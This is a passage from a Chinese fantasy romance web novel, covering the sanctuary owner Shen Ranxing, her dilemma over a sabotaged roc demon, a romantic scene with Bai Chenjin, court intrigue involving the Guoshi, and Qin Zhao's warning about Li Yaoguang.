纪明月打断她,冷淡道:“我查过,这云老先生背后牵涉朝廷,做的生意多半与官家有关,背景比秦昭只深不浅。他现在已经认定我们有能力办成这事,若我们在这个节骨眼上强行退单,在他眼里就是故意推诿,甚至可能是拿了他的定金去办别的事。” 沈染星蹙起眉头。 纪明月瞥了她一眼,语气更沉:“更重要的是,他对传讯妖的需求非常急迫。我们此刻退单,无异于断他紧要关头的指望,这梁子就结大了。得罪了他,以后莫说官面上的生意,便是想在城中安稳立足,恐怕都难上加难。” 沈染星听得心头冰凉。 她只想着及时止损,却忘了考量这背后的势力牵扯。 退单一时爽,后续的火葬场怕是能把整个共生苑都烧成灰烬。她的选择空间,已经被无形的大手一步步挤压,根本没得选。 若是大鹏妖没来倒好,如今手上握着它,放了也不行,不放也不行。 这个世道驯妖,皆已暴力镇压,再施以妖钉或者在妖丹上刻上符文。 落到人类手中的妖,只有两条路,一是被控制,二是抵抗到最后,丢了性命。 所以在云老先生眼里,她也只有两个选择,一是把大鹏妖杀了,二是让大鹏妖为他所用。 无论那个选择,她都吃不了好果子。 难怪那介绍大鹏妖的牛皮卷上,对它的评价如此义愤填膺,真是沾上了,就得付出些代价…… 简直是另类瘟神…… 沈染星叹了口气:“那依你之见,我们该如何是好?” 纪明月垂头沉思:“我们现在唯一的出路,就是启用那只大鹏妖。” 沈染星立刻摇头:“不行,它的情况你我都清楚,妖丹被动过,性情极不稳定,万一在传讯过程中出了岔子,后果更不堪设想。” “那就先试试。”纪明月语气不变,冷静到几乎无情,“在院内模拟传讯,测试它的稳定性和可控性,若实在不行,再想他法。但眼下,连试都不试就直接放弃,等于自绝生路。” 她看向沈染星,像是下了什么决定,眼神变得坚定:“这是目前唯一的解法。风险固然有,但总好过立刻得罪一个我们得罪不起的人,银子损失事小,共生苑的根基不能动摇。” 沈染星沉默了下来。 她看着纪明月,知道她分析得句句在理。 可她并未立即答应。 沈染星心事重重地踱回书房,脑子里像是塞了一团乱麻。 白尘烬也不打扰她,只是默默跟在她身后。 刚踏上书房门前的石阶,一个小童便迎了上来,穿着干净短褂,模样机灵,恭敬地朝两人行礼。 “东家,这是秦堂主送来的信。”小童说着,双手奉上一封信函。 “给我吧。”沈染星收敛心神,接过信件。 小童送完了信,欢天喜地一溜烟跑了。 白尘烬推开书房木门,沈染星一边往里走,一边打开书信,淡淡的墨香逸散出来。 她步履有些迟缓,走进室内,目光在信纸上粗略扫过。 秦昭约她明日午后在城南的茶楼一见。 私下见面? 沈染星心下疑惑。 最近和秦昭除了必要的公务往来,并没有太多交集,什么事需要如此邀请她私下见面。 她走到书案前,身子靠坐在桌沿,陷入了沉思。 目光看似落在信件上,实际则是放空,焦点不知落在了何处。 她想得出神,连白尘烬来到了身侧,她也未曾察觉。 直到她因焦虑,而下意识地用贝齿轻咬了下唇瓣。 毫无预兆的,一片柔软覆上了她的唇,带着熟悉冷冽气息。 沈染星浑身一僵,抬眼,猝不及防地对上白尘烬近在咫尺的眼眸。 事发突然,她下意识往后撤了些许。 白尘烬微微俯着身,仰着头,追上她的唇。 于此同时,他轻而易举地抽走了她捏在指尖的信。 沈染星脑子轰的一下炸开了,心脏跳动极快。 白尘烬主动亲她,是想以此来换信? 他居然把这个交易条件……给固定下来了吗? 第47章 把性命交托在她掌心 这一次, 和以往都不一样。 从前的吻总是带着掠夺的意味,激烈得让她来不及反应。 可这个吻却是轻的,小心翼翼的,仿佛他用了全部力气在克制。 他只是那样轻柔地含住她的唇, 像在品尝, 又像在确认。 沈染星闭上眼, 不自觉地随着他的引导仰起头。 两人的呼吸交织在一起,滚烫地缠绕着,分不清彼此, 时间缓缓流淌, 那呼吸声也渐渐融为同一个节奏。 她这般不设防的姿态, 反而让他身体微微一僵。 他浓黑的睫毛轻颤着,呼吸一声重过一声,他原本只是想轻轻一吻,拿到那封信就离开的。 信已经捏在指间,他却挪不动脚步。 唇间那抹温软的触感, 那潮湿温热的气息, 正一点点渗入他的皮肤, 钻进他的血液。 他意识到, 他走不了。 就在这时,沈染星抬手,轻轻捧住了他的下颌。 电光石火间,危险的感觉掠过他的神经,他颈侧肌肉一僵。 脖颈是人之命脉, 只需找准位置轻轻一刀,鲜血便会喷涌而出,连遗言都来不及说。 此刻她若动手, 他绝无闪避的可能。 她的手游离再在他的脖颈间,温热的掌心贴上了他的肌肤,纤细手指轻轻按在他跳动的脉搏处。 她想要要吻他,还是要趁机杀他? 白尘烬不太确定,命脉掌控在沈染星手上,令他的头皮猛地一麻,心脏发狂似的跳动起来,手臂上的汗毛根根炸了起来。 理智告诉他该保持警惕的。 他该躲开的。 可把性命交托在她掌心的感觉,竟让他生出一种隐秘的、近乎病态的享受。 这简直让他上瘾,根本无法警惕起来。 或许是近来她太过顺从,才让他滋生了如此危险的念头。 就像沙漠里独行的旅人,总以为眼前的海市蜃楼就是触手可及的绿洲。 突然间,他想看她了。 白尘烬伸手轻轻捧着她的脸,松开了她的唇。 沈染星眼睫湿润,微微颤动,脸颊泛着淡淡潮红,被吮吸过的唇瓣饱满嫣红,还保持着微微张开的样子,气息紊乱地轻喘着。 这模样让他的呼吸陡然一滞。 沈染星一边对他的温柔感到惊喜,一边又满怀困惑,不解地看着他。 他不知怎么了,双眼已变成幽深的灰色,沉得吓人,几乎带上几分兽性的兴奋。 他的大拇指按在她的唇边,温度灼热,抵进她唇里,不轻不重按在她贝齿上。 沈染星顺势轻轻咬了一下。 就像是触发了什么,白尘烬的神色一下子变得古怪,失控地呼吸几下,猛地扣住她的后脑勺,另一只手撑在案桌上,俯下身,重重地吻了下去。 沈染星被这力道带得向后倒去,脊背抵上冰冷的案桌。 桌上的笔架被横扫在地,噼里啪啦一阵脆响,零落散在他们紧密交叠的脚边。 沈染星被他这突如其来的举动惊得微微张口。 白尘烬趁此间隙,灵巧而强势地加深了这个吻,温热的舌长驱直入。 沈染星的手不由自主撑住他,她感受到了他坚实的胸膛,以及那激烈到失常的心跳声,连带着她心跳也失了速。 白尘烬扣住她手腕,举过头顶,压在桌上。 唇舌相缠的瞬间,他又往前凑近了些,腿抵进她膝盖间。 为了安抚心底的狂暴,甚至越发用力地压着她, 几乎是要覆在她身上。 沈染星几乎只能被动地承受,被吻得喉咙发干。 他这次的亲吻比以往都要绵长,仿佛不知餍足,她肺里的空气几乎被抽干,脸颊因缺氧泛起越来越深的红潮。 她开始受不住,手脚无意识地挣动。 手被按在头顶,挣扎不开,情急之下,她屈膝顶向他,却被衣料层层阻隔,只换来衣裳更深的纠缠。 又过了几息,白尘烬才终于松开。 两人呼吸急促,交织在他圈出来的狭小空间里。 他垂眸看她,衣领不知何时松开了些许,他垂落的发梢正巧滑入领口,若有似无地擦过锁骨,最终探入那剧烈起伏的心口。 他的呼吸骤然乱了,又向前逼近半分,几乎与她严丝合缝地相贴。 待她气息稍平,白尘烬喉结滚动,再度覆上那红润的唇。 这一次,他清晰地感受到她鼻尖轻轻蹭过他的脸颊。 温热的呼吸裹着少女独有的甜香,扑面而来,像细密的针脚扎进皮肤,激起一阵陌生的战栗。 那痒意钻进骨缝里,让他几乎失控。 太让人着迷了。 雅间里静得只剩唇齿交缠的湿润声响与紊乱的呼吸。 沈染星浑身滚烫,头脑昏沉,觉得自己从里到外都浸透了他清冽的雪松木气息。 可他始终恪守着最后的界限,只在唇瓣间流连。 她几乎要脱口问,他是否想要更多…… 话还未问出口,白尘烬却突然停下,松开了她的手腕,掐住她的腰,将额头深深埋进她的颈窝。 “这样就好,”他的声音沙哑得厉害,带着未褪的情动,“我们保持这样就好。” 沈染星听着他克制到极致的话,最终那句话没有问出口。 自那日后,沈染星心思全在大鹏妖那骑虎难下的事上。 又过去了三日,她才下了决心。 秋日已到,她穿过萧萧落叶的后院,独自进到偏房,走近那特制的禁锢笼。 笼中的大鹏妖伤势已然大好,庞大的身躯不再蜷缩,虽翎羽仍有些黯淡凌乱,不复传说中金翅耀日的风采,但那双锐利的金色瞳孔已恢复了神采。 它此刻正死死地盯着她,带着审视与戒备。 “你的伤好得差不多了,”沈染星开门见山,声音平静,“我打算放你走。” 大鹏妖不说话,只是金色的瞳孔缩了一下,目光愈发锐利,像是在判断她话中的真伪。 沈染星等不到回应,继续道:“是担心灵缉司还在追捕你?我可以派人护送你离开,直到边境,确保你安全。” 笼中依旧是一片死寂。 沈染星:“如果你继续不说话,那我就当你答应了。” 说完,她又耐心等了一会儿,回应她的却只有穿过庭院的风声。 她甚至开始怀疑,这大鹏妖是不是个哑巴,来了这么久,从未听它发出过除了威胁低吼以外的任何声音。 见它既无激烈的反对,也无表示同意的迹象,沈染星只当它默许,转身便欲离开,去安排护送事宜。 就在她转过身的刹那,一道低沉、略带沙哑,仿佛许久未曾开口的男声,直接在她脑海深处响起: “你不怕无法向那些人交代吗?” 沈染星脚步一顿,有些稀奇地转回身,看向笼中那双锐利的金瞳:“终于愿意开口了?” 大鹏妖没有理会她的调侃,金色的瞳孔锁定她,那道声音再次传来,依旧重复着那个问题:“你不怕无法交代?” 沈染星看着它,笑了笑:“你从灵缉司手里逃出来,不是意外吧?甚至恰好落在我的院子里,也不是意外,对不对?” 大鹏妖眼中闪过一丝难以掩饰的惊讶,它没料到沈染星早已看穿一切。 可她明明已经知道,为何不杀了它,还收留他,甚至帮它疗伤。 它真正想着,又听见她道:“可惜啊,我一开始没发现。如果我早点发现这是个麻烦,就不会收留你了。” 她这话带着点埋怨,又有点认命的味道:“还白费了我好多好药。” 大鹏妖:…… 它彻底沉默了,金色的瞳孔里情绪复杂,似乎在重新评估的人类女子。 她贪财又胆小,还喜欢狐假虎威,她身上有着令人厌恶人类习性,可是…… 自己似乎并不讨厌她。 沈染星接着问道:“你先前一直不愿意开口,是不是也是因为他们?” 大鹏妖依旧不语,但那微微偏开的目光,权当是默然了。 沈染星见它再次沉默,心知自己又猜中了。 自信心有些暴涨,她顺着思路往下猜:“是因为你有什么把柄落在他们手里,所以才受制于人,甚至不得不按照他们的安排,潜伏到我这里?” 她越想越觉得合理,“到底是什么把柄?亲人?同族?还是……” 这些理由都不太像,沈染星蹙眉思索。 大鹏妖瞥了她一眼,说道:“没有把柄。” 沈染星一愣。 “也没有胁迫,”脑海中响起的声音冰冷而直接,沈染星几乎能感受到浓浓的恨意,“我只是想报复人类。” “……”沈染星一噎,看着它那双写满桀骜与仇恨的金色瞳孔。 这大鹏妖睚眦必报,凶戾成性的名声,果然不是虚的。 这理由简单粗暴得让她一时不知该如何接话。 她稳了稳心神,蹲下身子,和它平视,悠悠道:“你的妖丹被人动过手脚,如果和你结契了,会有什么后果?” 一瞬间,大鹏妖眼神变得阴沉,暴戾,还有一丝屈辱,以及破罐破摔的狠绝。 “我妖丹被动过手脚,若与人结契,残存的禁制便会触发。我会失了理智,不受自己控制,愈发疯狂地报复所见的一切生灵,直至力竭而亡。” 沈染星蹲在那里,半晌没说话。 只觉得一股寒意从脚底直窜上天灵盖。 这哪里是传讯妖? 这分明就是一个被精心伪装过,一触即发的杀戮傀儡! 云老先生到底想做什么,不仅针对白尘烬,还打算牵连这院里无数的妖? 他的目标,真的仅仅是白尘烬一人吗?还是说,从她,到整个妖院,都早已是他计划铲除的目标。 背景强大,且对共生契约怀有不死不休敌意的……纵观全书,除了拥有滔天权势的反派,她想不出第二个人了。 所以…… 一个毛骨悚然的结论浮上沈染星心头,她被书中反派盯上了? 完啦!—— 作者有话说:宝们~国庆节快乐呀,最近有点忙,这段时间只能日三了,给大家搞个抽奖[狗头叼玫瑰][狗头叼玫瑰][狗头叼玫瑰] 第48章 惹上了书中反派 沈染星只是想偏安一隅, 做个安稳度日的小透明,甚至为此不惜拒了许多合作,压制共生苑的名声。 万万没想到,自己把男二抢过来, 还顺带把反派势力给吸引过来了…… 这反派何许人也, 乃当朝国师阎九胤, 深受帝心信赖,一言可决朝廷对妖之态度,翻云覆雨, 不过在他一念之间。 人前他悲天悯人, 礼贤下士, 殊不知身怀一副狼子野心,等一个时机,便要囚禁天子,夺下这万里江山。 阎九胤其人,修为深不可测, 阴险狡诈, 手段狠辣, 把书中的男女主折磨得七零八碎。 最后, 也不是被男女主亲手所杀,而是体内力量太过强大,肉身无法压制,爆体而亡。 这大鹏妖,分明就是对方投下的一颗问路石, 或者说,是一个精心包装的毒饵。 沈染星稳了稳心神,问道:“你之前, 抗拒疗伤,甚至故意伤人,是不是……也在故意破坏可能达成的契约?” 这么一想,它妖还怪好的咧。 大鹏妖没有说话,只是冷冷地移开了视线。 但这沉默,本身就已经是一种答案。 “为什么呢?”沈染星凑近了些,问道,“是因为我人美心善吗?” 大鹏妖周身一顿,抬头,一双金瞳不可置信地看着她。 不过在沈染星期待的目光下,它最后还是没回答。 沈染星还觉得颇为遗憾。 其他小妖都会奉承她,有些机灵的,还会变着花样夸夸,谁不喜欢被夸夸呢。 次日,天色灰蒙蒙的,沈染星心情也随之暗淡了些。 一想到未来前途茫茫,不仅要应付云老先生的紧逼,还得罪了书中那个恐怖如斯的反派,她就觉得眼前发黑,脑壳泛疼。 那反派在书里各种挖坑手段,她光是回想一下都觉得头皮发麻。 沈染星沉着一张脸,带着几个不明真相的护卫,亲自指挥,将那装着大鹏妖的特制笼子装上马车。 整个过程,她都绷着脸,没什么表情。 在一行人即将离开时候,她终于还是忍不住叮嘱道:“一旦遇到什么情况,不要硬刚,注意安全,知道吗。” 护卫们低头拱手,同时应声。 见着马车车轱辘吱呀吱呀往前驶去,沈染星心里没有一丝已做好决定的轻松,反而心口沉甸甸的,坠得她发慌。 总觉得这事情不会这样简单。 她沉着脸,站在门外,经过的乔阿盈见她迟迟不进来,便迎了出来。 乔阿盈看着东家难看的脸色,又想起方才被送走的大鹏妖,忍不住小声问道:“东家,我们就这么把大鹏妖放走了,云老先生那边,会不会没办法交代?他看起来和善,但不像会善罢甘休的人。” 沈染星叹了口气,抬眼望向院门外空荡荡的街道,方才运送笼子的马车早已不见踪影,只留下几道浅浅的车辙。 “交代……”她低声重复了一遍,嘴角扯出一抹没什么笑意的弧度,“我们现在要考虑的,恐怕不是如何向他交代……” 她的话没有说完,但乔阿盈却莫名打了个寒颤。 乔阿盈很少见她这般愁苦的模样,连花了大半身家将纪明月救出来时,也没有这般,似乎整个人都变成了灰色。 她顺着沈染星的视线望向门外,只觉得那空寂的街道尽头,仿佛正有无形的阴影在缓慢聚拢,连拂过庭院的微风,都带上了山雨欲来的感觉。 沈染星收回目光,拍了拍阿盈的肩膀,语气恢复了平静:“兵来将挡,水来土掩,走,我们进去吧。” 沈染星在书房里查看账本上愈发漂亮的数据,还未高兴起来,一想到云老先生那边可能引发的连锁反应,就觉得前途一片灰暗。 她揉了揉突突直跳的眼皮。 这笔生意没赚到钱事小,亏了也罢,偏偏还可能惹来一身腥。 就在这时,窗外突然传来一阵有力的翅膀扑棱声,一道阴影掠过窗口。 沈染星一凛,凝神屏息听着屋外的动静。 几息过后,白尘烬没有出现,院子里依旧安静。 证明并非来者不善。 她站起身来,往外走去。 还未出门,伴随着一阵轻快的脚步声,石多磊的声音传来,带着几分兴奋:“东家,东家,我回来了!” 沈染星一愣,怎么这样快? 她快步走出门去。 院子里,石多磊站在一只神骏非凡的鹰妖身侧,还颇为自豪地拍了拍鹰妖覆着暗褐色羽毛的坚实翅膀。 那鹰妖半人高,眼神锐利,姿态倨傲,周身流转着不俗的妖力,那尖喙更是触目惊心,仿佛只要它有心,便可以立即把石多磊啄得脑花迸溅。 沈染星呼吸一急,心陡然提到嗓子眼。 她有些着急:“多磊!你先过来。” 石多磊闻言,虽有些不解,还是依言朝她走去,脸上带着未褪的兴奋:“东家,怎么了?你看这鹰妖……” 人刚到跟前,沈染星便一把抓住他的胳膊,用力将他拽到自己右后侧,用自己的身体隐隐挡在他前面。 她的目光始终牢牢锁定在那只姿态倨傲的鹰妖身上,眼神里,是石多磊从未见过的警惕和冷肃。 “你之前回报,不是说那只鹰妖已被毒杀了吗?”沈染星的声音压得很低,“那眼前这个,又是怎么回事?” 她这突如其来的质问和防护性的动作,弄得石多磊一愣,随即意识到东家并非不喜,而是在担忧他的安全。 他连忙摆手,道:“东家,这只不是之前那只,它是我在调查时,听闻了我们的共生契约,自己找上来的。” 自己找上来的? 那就更可疑了,上一个大鹏妖,也是类似情况。 “难道它自己找你的便一切万事大吉了吗?它结契了吗?它驯服了吗?你能看到它心中所想,能确保它下一刻不会暴起伤人吗?你什么都不知道,就敢这样毫无防备地站在它身边,到底有多危险,你到底知不知道?!” 她一连串的质问又急又厉,带着一种后怕般的激动,砸得石多磊哑口无言。 在石多磊的印象里,沈染星一向主张妖分善恶,对待妖族虽保持谨慎,但从不曾像现在这样,几乎带着一种近乎偏执的警惕,甚至…… 像是某种应激反应。 她此刻的情绪明显不对劲。 仿佛刚刚差点就要发生什么无可挽回的事情一般。 石多磊脸上的得意和喜悦彻底褪去,小声问道:“东家,是不是发生什么事了?” 沈染星嘴唇动了几下,最终还是将关于国师阎九胤的骇人内情咽了回去。 那厮面上悲天悯人,背地里做的尽是些见不得光的勾当,手段狠辣超出常人想象。 石多磊性子耿直,若知晓了真相,只怕藏不住情绪,反而会招来杀身之祸。 他们知道的越少,才越安全。 沈染星勉强稳了稳心神,声音放缓了些,找了个更贴近现实的理由。 “我们……恐怕是被对头盯上了,多磊,你这一次行事,确实有些鲁莽了。” 她吸了吸鼻子,接着道,“万一你出了什么事,我该怎么和阿盈交代?” 石多磊听到乔阿盈的名字,耳根微不可察地红了一下,又见沈染星眼眶有些红,顿时有些慌了。 东家啥都好,就是抠门了点,还容易掉眼泪。 把她弄哭了,先别说白尘烬那头,就连乔阿盈也不会放过他! 他连忙解释道:“东家,我明白你的担忧,但我信任它,也并非全无凭据。” 原来石多磊先前在调查那只死掉的鹰妖时,遇到了一条修行多年的蛇妖,那蛇妖说,它半年前遭了一次大难,险些毙命,是沈染星和白尘烬救了它,它一直铭记于心。 这次蛇妖得知有人想对沈染星和共生苑不利,便特意介绍了自己的朋友过来,说是能助她一臂之力,解决燃眉之急。 石多磊没到半个月便回来了,也是担心共生苑真的出事,鹰妖直接带他回来,还省了路上的时间。 说完,石多磊指了指身后那只鹰妖:“按我对鹰妖的了解,它问题应该不大。” 鹰妖静立在一侧,似乎在等着她的安排。 沈染星却对他口中的蛇妖更惊讶:“那蛇妖是苍赦吗?” 石多磊摇头:“我不知其名,但他已经可以化人形了,长相阴冷,眉目阴柔。” 果然是蛇妖苍赦。 石多磊继续道:“而且,东家,这鹰妖也不是白让我们帮忙的。它说它正在寻找失散多年的幼雏,听说我们共生苑包容友善、消息灵通,只求一个容身之所,方便它打探消息。作为交换,它愿意在此期间留下来,为苑中效力。” 寻子? 沈染星的目光再次落在那只鹰妖身上。 如果真是如此,倒是一个能让妖心甘情愿暂时屈从的,足够分量的理由。 敌人在暗,他们在明,为了保险,沈染星将鹰妖先关进了禁制笼子,再找白尘烬过来,好好检查一番妖丹。 确认没有问题后,她才和它结契。 鹰妖整个过程表现得很平静,乖顺得出奇,甚至……有些紧张。 沈染星和它交谈时,他态度端正又拘谨,就像是在……是在面试一般。 平和又怪异。 相处下来,沈染星对它的戒备心也散了不少。 幽暗的密室中,只有一盏油灯摇曳着昏黄的光晕。 一女子梳单螺髻,由木簪横向贯穿固定,簪上的那一点红,在橙黄光晕下尤其艳丽,她踩在着李富裕死时倒下的那一处,那一滩血早已清理干净。 云阔坐在主位,脸上惯常的慈和早已消失不见,取而代之的是一种内敛的沉冷。 他手指轻轻敲着桌面,发出规律的叩击声,每一声都带着无形又危险的压力。 “纪明月,”他开口,声音不高,混在敲击声中,“你竟任由那沈染星,将大鹏妖放走了?” 第49章 已经要来了吗 纪明月站在下首, 身姿笔挺,声音冷冽:“我奉命潜伏,首要之务是取得信任,不便过度干涉她的决策。” 云阔敲击桌面的手指顿住, 冷笑道:“是不便, 还是不想。” “不便, 也不想,”纪明月道:“那妖已经叛变,变作了一步险棋, 强行留下, 只会生出更大的变故。” “险棋?大不了那妖发疯, 然后死去,反正查不到我们身上,又如何能称作险棋,”云阔道,“难道你是担心那一院子的小妖?你对妖生出了仁慈之心, 对得住你纪家上下惨死的十几口人吗?” “云大人, 我是看在师父的份上, 才来见你, 可不是来听你兴师问罪的。”纪明月脸上覆盖着一层惯有的冰霜,眼神没有丝毫躲闪,迎上云阔的目光:“况且,你不也没看着那蛇妖,让他给逃了, 难道你也仁慈了?” 云阔嘴角笑意顿失。 纪明月道:“起码我还费尽心思,抓了犯了命案逃跑的蛇妖苍赦,这样看来, 似乎你比我更加仁慈。” 云阔盯着她片刻,才开口道:“那是因为你的封印不够牢固。” “云大人,你这可冤枉我了。” 纪明月的声音平静,“我缉灵司的职责,是擒获目标妖物,并成功交接至内部人员手中。蛇妖交接之时,封印完好。之后封印松动,致其逃脱,这是内部接收后监管不力,没有及时加固封印的过错,与我无关。” 云阔被她噎了一下,面色更沉。 纪明月说的确是实情。 按流程,从缉灵司手中接收妖物后,内部确实需要根据情况进行二次封印加固。 只是通常缉灵司布下的初始封印已足够牢固,极少需要后续重新加固,谁曾想这次纪明月留下的封印竟如此…… 恰到好处地不够牢靠,让他吃了个哑巴亏。 云阔压下心头不悦,话锋陡然一转:“对了,李富裕的死,到底怎么回事?” 他看了眼纪明月脚下站着那处:“现场处理得倒是干净。” 纪明月神色不变,仿佛早有预料:“李老板之死,已有专人整理按流程上报,他行动鲁莽,不听劝告,我给处理了。” 李富裕为人机灵,用起来极为趁手,又扎根于方圆镇多年,可以利用他的关系网来监视共生苑,可就这么无声无息地被处理掉了。 云阔自然不相信纪明月的鬼话,也早就料到她会如此回答。 他眼睛浑浊,紧紧盯着纪明月。 他们曾经关系不错,合作更是默契无间,可自从她从妖域卧底归来,一切都变了,如今的她,仿佛换了个人,处处与他争锋相对。 即便他亲自打过招呼,她杀起他手下的人也毫不手软,二人关系必定回不到从前了。 这次刺杀行动,纪明月受命过来协助,若没有她的配合,很难进行下去。 不过,他早就想到了应对之策。 云阔缓缓站起身,走到纪明月身前,笑得和蔼可亲:“说来凑巧,我也向国师上报了一事,还大加赞扬了你。” 纪明月沉默以对。 只是那双冰冷的眸子,毫不退缩地回视着他。 密室内气氛陡然变得更加凝滞。 对峙片刻,云阔踱步往门口走:“话已经报上去了,想必你一定会如同我赞扬那般,能够把那大鹏妖捉回来,接着实施我们的计划,不会让国师失望。” 把大鹏妖捉回来,对于纪明月而言,并非难事。 她之前在那妖身上动了手脚,能感知到它的位置。 门吱呀一声合上。 密室内只剩她一人。 她背脊挺得笔直,垂在身侧的手紧握成拳。 清心茶楼雅间内,茶香袅袅。 前两日,沈染星成功把鹰妖送到了云老先生处,对方十分满意,此事终于告了一段落。 那日办完事,才回到妖院,便再次收到秦昭相邀的信笺,想着再三推脱不太好。 沈染星应了约。 她依约前来,秦昭早已等候在此。 他今日未着繁复锦服,一身青衫常服,不知何时留了淡淡的胡子,更显得温文素雅,只是整体似乎没了从前的精致。 简而言之,他变糙了。 寒暄过后,秦昭为沈染星斟上一杯热茶:“染星,今日邀你前来,是想提醒你一事,你……近日与天瑶庄的少东家,可还在继续联系?” 沈染星不知他怎么突然提起李瑶光,摇摇头:“就上次见过一面。” 李瑶光前些日子的确来过他那妖院,说是拜访学习,当时她便觉得……这位少东家言谈举止虽极尽客气,总让人感觉隔了一层,透着一股说不出的疏离与审视。 尤其是他离去后,城中便起了些关于她和秦昭的风言风语…… 她当初为了转移火力,情急之下把李瑶光对秦昭心意给捅了出去。 想到这里,沈染星一顿。 不对,被男子喜欢,若是秦昭觉得困扰怎么办? 他请她来,不会就是追究此事的吧?! 这事的确是她考虑不周……沈染星眼神瞬间变得心虚,甚至不太好意思直视秦昭。 她想着,一会说起来,还是滑跪道歉吧,该怎么补救怎么补救…… 秦昭摩挲着温热的杯壁,沉吟片刻,方才开口:“以后不必再理他,他并非表面看起来那般简单。” 沈染星心提了起来:“如何不简单?” “他面若菩萨,言语温和,相处起来礼数周全,不知情者极易被他蒙蔽。”秦昭抬眼看向沈染星,目光清亮而郑重,“但其内里,心性狠毒,手段酷烈,为了达到目的,信口开河,不择手段。” 李瑶光心性狠毒,手段酷烈,沈染星早已听闻。 此人出身并非显赫,却能在这短短数年间将天瑶庄经营得如此庞大,其心机手段,可见一斑。 对人尚且不留情面,对妖族……更是视若草芥,动辄打杀、奴役,毫无怜悯之心。 他早年发家时,便曾用过不甚光彩的手段,挤垮了几家竞争对手,如今更是四处合并,甚至有人猜测,不少妖院是被他故意整垮的。 但是……他信口开河这一点,沈染星倒是第一次听。 秦昭见她听得进去,神色稍缓:“我知你共生苑近来声名鹊起,树大招风。李瑶光此人,野心勃勃,且睚眦必报,你需得多加提防,若没有必要,尽量不要与他有太深的牵扯。若他再同你说些奇怪的话,或你察觉任何异样,可随时告知我。” 沈染星端起茶杯,借着氤氲的热气掩饰自己一瞬的沉思。 说实话,这话听起来怪怪的。 连屋内气氛都变得怪异起来。 好在,两人都是能言善道的,又志趣相投,言谈间,那一抹怪异很快便在热络的气氛中消散了。 气氛又恢复了平和。 话题告一段落。 秦昭端起茶杯,似是随口一提,想要换个稍轻松些的话题时,他状若无意地问了一句:“说起来,你可曾听闻近日城中一些,关于我和李瑶光的无稽传闻?” 他语气平淡,仿佛在说一件与自己毫不相干的事情。 可这话听在沈染星耳中,不啻于一道惊雷。 “噗——” “咳咳咳!” 她刚含入口中的一口温茶猛地呛进了气管,顿时咳得惊天动地,脸颊瞬间涨得通红,连眼泪都飙了出来。 她慌忙放下茶杯,用手帕捂住嘴。 反应太过剧烈,把秦昭都吓住了,想要上前来帮她顺气,沈染星连忙抬手制止。 他知道了! 他果然是知道的! 知道如今市井传言李瑶光的爱慕他的事,信息来源是她。 方才提心吊胆的应对时,他不说,在她放松心态后,又随口说出来。 而且还是用这种一本正经,仿佛讨论公事的语气问出来的。 沈染星抬眼看他,滑跪道:“对不起秦堂主,那信息是我散布出去的,原因是爱慕你的人真的是李瑶光,而不是我……” 说着,对上秦昭的黑沉沉眼眸,她心虚地缩了缩脖子,闭上了嘴。 秦昭不像表面那般平静,他从未想过此类传言会发生在自己身上。 其实谣言刚起时,他只是置之不理,没料到愈演愈烈。于是他暗中调查源头,查到了李瑶光身上,还发现沈染星也掺和了一脚。 这是还算可控,他使计轻易就把谣言压了下去。 可前几日在宴会上见到李瑶光时,不知对方怎的……突然平地摔跤,直接往他身上扑来。 当时周围宾客议论纷纷,李瑶光又闹着个大红脸,半天憋不出一句话来。 于是事态便失控了。 他猜测是有人在暗中推动,可他查不到证据。 如今想起那日的情形,他便头疼。 秦昭揉了揉太阳穴,无奈道:“其实,我不喜欢男子。” 沈染星有些惊讶,他居然专程同她解释。 见沈染星惊讶的神色,秦昭担心她又说些什么惊天动地的消息,不给她回答的机会,道:“共生苑近来名声不错,已入了他的眼,依李瑶光的性子,若不能收为己用,便极可能设法打压、吞并。” 果然,沈染星一听,注意力便被转移了。 秦昭语速缓了下来:“毁你声誉,断你外援,是他惯用的前期手段。接下来,或许会是在生意上制造麻烦,或是……利用他背后的人脉,在官面上施压。” 沈染星心猛地一惊,官面上来说,她和白尘烬都算不上清白。 他们杀了伏妖居的人,杀了贾贞,还血洗了流芳阁,私放大妖…… 这一桩桩,一件件,都不简单。 不知这李瑶光会用哪一件事来做文章。 听了秦昭的告诫,沈染星也没了多少闲聊的心思。 她与秦昭一同走下楼梯,来到门口,午后的阳光有些刺眼。 几句无关痛痒的寒暄后,秦昭抬手示意,候在一旁的马车夫便驾着车缓缓靠近。 “染星,路上小心。”秦昭站在台阶上,语气温和。 沈染星看着容貌硬朗了不少的他,微微颔首。 道了声别后,她转身,准备朝不远处的马车走去。 一只温热的手突然从旁伸来,轻轻却坚定地握住了她的小臂,阻止了她离开的动作。 沈染星愕然回头,对上秦昭严肃的眼眸,仿佛下定了什么决心。 他不知何时已从台阶上快步走下,就站在她身侧,见她停住,便松开了手。 “李瑶光背后多了一层势力,”秦昭的声音压得极低,几乎是贴着她耳畔响起,“你要小心些。” 沈染星的心猛地一跳,被他这突如其来的举动和凝重的语气惊住,僵在原地。 秦昭快速而清晰地说道:“具体是谁,我不方便说,不过我知道李瑶光已搭上那条线,他们的目标,就是要毁掉你,和你的共生苑,你千万小心。” 国师?! 几乎是第一时间,沈染星猜到了那条线,是书中反派的势力。 她瞳孔地震,几乎要失声低呼出国师的名字。 果然被盯上了,已经要来了吗? 这个发现如同惊雷,在她脑海中炸响。 然而,更让她浑身冰凉的,是秦昭竟然如此清晰地知道国师的存在,甚至知晓了他们针对她的恶意。 他到底是谁?他知道多少? 不会也是国师阎九胤的人吧? 这股寒意比刚才在雅间听闻李瑶光的狠毒时,要强烈十倍,百倍,她感觉自己仿佛一瞬间被抛入了暴风眼的中心,四周是深不见底、危机四伏的黑暗。 秦昭见她面色不对,似乎猜到了她心中忧虑,安慰道:“别担心,我不是他们的人,李瑶光也成不了气候。” 他的话没能很好地安抚沈染星。 她仿佛置身于一张无形的巨网之中,不知周围的人是敌是友,不知该信谁,不知何时会被背叛,这种感觉给人带来了极大的不安,简直是如履薄冰。 沈染星过了好半晌,才定了心神,和秦昭再次道了别。 她如同梦游般,提着衣摆,机械地,脚步虚浮地踏上马车。 抬手伸向车帘,才突然想起白尘烬是陪她一起来的。 有原书佐证,如今唯一能确定会坚定站在她身边的,对于她而言,是好人的,只有白尘烬。 沈染星停住动作,四下张望,并未见到白尘烬的身影。 心下升起浓重的失落。 她轻轻叹了口气,独自掀开车帘,正准备弯腰进去。 猝不及防地,一只微凉而有力的手从车厢内的阴影中伸出,扣住她的手腕,一股力道传来,将她整个人拉了进去。 沈染星低呼一声。 天旋地转间,她已然跌入一个熟悉又坚实的怀抱。 车帘在她身后晃动了几下,缓缓停住,隔绝了外界的光线,车厢内顿时变得昏暗而私密。 第50章 他的更进一步 沈染星尚未看清白尘烬, 